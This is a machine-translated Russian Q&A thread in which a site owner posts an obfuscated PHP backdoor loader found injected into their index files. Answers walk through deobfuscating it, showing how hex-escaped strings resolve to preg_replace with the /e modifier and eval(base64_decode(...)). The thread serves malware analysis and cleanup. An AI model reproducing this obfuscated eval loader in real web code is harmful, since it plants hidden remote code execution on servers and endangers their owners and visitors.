как я могу декодировать этот вредоносный PHP-скрипт?

Я просто заметил, что весь мой индексный файл имеет следующий код на моем сервере. Я хотел бы знать, как я могу декодировать это. и узнаете, кто стоит за этим кодом? пожалуйста, вы можете помочь мне, как это расшифровать.

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "+aWYgKCFpc";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?> 

Related of "как я могу декодировать этот вредоносный PHP-скрипт?"

  1. Правильно отступьте код (я использовал http://beta.phpformatter.com/ )

    http://pastebin.com/A106eFjY

  2. Ищите вызовы функций ( func() или $func() ).

    Строка 14: ` $ eva1tYldokBcVSjr (…, $ eva1tYldakBcVSir (…));

  3. Прокомментируйте вызов функции и echo $eva1tYldokBcVSjr$eva1tYldakBcVSir ), чтобы посмотреть, что он делает.

    echo $eva1tYldokBcVSjr; => 'preg_replace'
    echo $eva1tYldakBcVSir; => 'strrev'

  4. echo out параметры, переданные в $eva1tYldokBcVSjr() ( preg_replace() ).

    $eva1tYidokBcVSjr[0.016 * (7812.5 * 0.016)] => "@(.+)@ie"

    $eva1tYidokBcVSjr[62.5 * 0.016] => "eval("\1");"

    strrev($eva1tYidokBcVSjr[0.061 * 0.031]) => "@eval(base64_decode($eva1tYidakBcVSjr[1]));"

Итак, строка 14 декодирует (в PHP-регулярном выражении все может быть разделителем):

 preg_replace("/(.+)/ie", 'eval("\1");', eval(base64_decode($eva1tYidakBcVSjr[1]))); 

Строка, которая является base64_decoded декодирует, чтобы закодировать с кучей eval s в ней.

http://pastebin.com/zRr9dMHN

Замените все эти eval с echo , чтобы узнать, что происходит. Есть еще больше eval(base64_decode( s.

http://pastebin.com/H9WcBFyJ

Изменение этих eval для echo дает вам следующее:

http://pastebin.com/VaYCgUyK

Я вижу там setcookie

EDIT : Вот сообщение, где кто-то продолжал расшифровывать это:

http://www.thehosthelpers.com/technical-help/help-de-obfsucating-code/msg17585#msg17585

Код не работает по принципу «один-к-одному». Вы можете написать любое количество разных кодов на одном и том же конце. Из-за этого, de-obfuscating код очень сложно. Вы можете попробовать использовать некоторые расшифровки расширений, как этот , но я не буду надеяться на получение четкого кода обратно. Кроме того, если хакер умный, он будет использовать ряд переадресаций и других мер, чтобы убедиться, что вы не можете отслеживать его, даже если вы де-зафузировали код.

Я сразу нашел такие страницы в Google:

http://blog.sucuri.net/2011/10/evil-backdoors-part-ii.html

И здесь уже задают вопрос:

PHP Script в моих файлах WordPress. Пожалуйста, уменьшите или помогите мне Удалить

Игнорировать первую длинную переменную ($ eva1fYlbakBcVSir). Вы можете пройти и повторить другие вары, которые написаны с использованием escape-последовательностей, а затем вы можете расшифровать остальную часть кода.